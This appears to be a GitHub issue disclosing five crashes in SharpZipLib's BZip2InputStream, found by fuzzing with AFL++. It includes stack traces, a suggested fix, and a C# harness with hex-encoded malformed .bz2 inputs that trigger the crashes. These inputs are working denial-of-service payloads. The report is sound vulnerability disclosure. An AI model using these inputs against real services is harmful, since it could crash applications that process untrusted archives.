Skip to content

BZip2InputStream: multiple crashes from malformed input #904

Description

@pawlos

Describe the bug

Fuzzing SharpZipLib 1.4.2 with AFL++ and SharpFuzz found 5 unique crashes in BZip2InputStream, all triggered by small malformed .bz2 inputs (42–56 bytes). The BZip2 decoder does not validate header/block fields before using them as array indices, leading to IndexOutOfRangeException (4 crash sites) and NullReferenceException (1 crash site).

These are exploitable for denial of service — any application that decompresses user-supplied .bz2 data using SharpZipLib will crash on these inputs.

Crash 1 — IOOB in GetAndMoveToFrontDecode()

System.IndexOutOfRangeException: Index was outside the bounds of the array.
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.GetAndMoveToFrontDecode()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.InitBlock()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream..ctor(Stream stream)

Crash 2 — IOOB in HbCreateDecodeTables()

System.IndexOutOfRangeException: Index was outside the bounds of the array.
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.HbCreateDecodeTables(...)
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.RecvDecodingTables()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.GetAndMoveToFrontDecode()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.InitBlock()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream..ctor(Stream stream)

Crash 3 — IOOB in SetupBlock()

System.IndexOutOfRangeException: Index was outside the bounds of the array.
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.SetupBlock()

Crash 4 — IOOB in RecvDecodingTables()

System.IndexOutOfRangeException: Index was outside the bounds of the array.
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.RecvDecodingTables()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.GetAndMoveToFrontDecode()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.InitBlock()
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream..ctor(Stream stream)

Crash 5 — NullRef in SetupBlock()

System.NullReferenceException: Object reference not set to an instance of an object.
   at ICSharpCode.SharpZipLib.BZip2.BZip2InputStream.SetupBlock()

Reproduction Code

No response

Steps to reproduce

  1. Create a .NET console app and add SharpZipLib 1.4.2 NuGet package
  2. Paste the reproduction code
  3. Run the app
  4. Observe 4x IndexOutOfRangeException and 1x NullReferenceException
using ICSharpCode.SharpZipLib.BZip2;

// Crash 1 — IOOB in GetAndMoveToFrontDecode (56 bytes)
var crash1 = Convert.FromHexString("425a6839314159265359c1c08044a00030cd00c346299717724538e2000001410000100244a00030cd00c3462997177245385090c1c086e2");

// Crash 2 — IOOB in HbCreateDecodeTables (42 bytes)
var crash2 = Convert.FromHexString("425a6839314159265359c1c080e20003e8410000100244a000303200c3462997177245385090c1c080e2");

// Crash 3 — IOOB in SetupBlock (42 bytes)
var crash3 = Convert.FromHexString("425a6839314159265359c1c080e2a90001410000100244a00030cd00c3462997177245384290c1c080e2");

// Crash 4 — IOOB in RecvDecodingTables (42 bytes)
var crash4 = Convert.FromHexString("425a6839314159265359c1c080e2000001410000100244a000bfcd00c346299717724538500010c080e2");

// Crash 5 — NullRef in SetupBlock (42 bytes)
var crash5 = Convert.FromHexString("425a68c6314159265359c1c080e2000001410000100244a00030cd00c3672997177245385090c1c080e2");

foreach (var (name, data) in new[] { ("crash_1", crash1), ("crash_2", crash2), ("crash_3", crash3), ("crash_4", crash4), ("crash_5", crash5) })
{
    try
    {
        using var stream = new MemoryStream(data);
        using var bz2 = new BZip2InputStream(stream);
        var buffer = new byte[4096];
        while (bz2.Read(buffer, 0, buffer.Length) > 0) { }
        Console.WriteLine($"{name}: OK (no crash)");
    }
    catch (Exception ex)
    {
        Console.WriteLine($"{name}: {ex.GetType().Name}{ex.Message}");
    }
}

Expected behavior

BZip2InputStream should throw BZip2Exception (or similar) for malformed input, not crash with IndexOutOfRangeException or NullReferenceException. The BZip2 decoder should validate stream-derived values before using them as array indices.

Operating System

Linux

Framework Version

No response

Tags

BZip2

Additional context

  • Severity: Medium (denial of service)
  • Attack vector: Any application using BZip2InputStream to decompress untrusted input
  • Effect: Unhandled exception terminates the process
  • Workaround: Wrap BZip2InputStream usage in a try/catch for IndexOutOfRangeException and NullReferenceException
  • Suggested fix: Add bounds checks in RecvDecodingTables(), GetAndMoveToFrontDecode(), HbCreateDecodeTables(), and SetupBlock() before using stream-derived values as array indices. Malformed values should throw BZip2Exception (consistent with existing error handling in the decoder)
  • Found via coverage-guided fuzzing with AFL++ and SharpFuzz

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions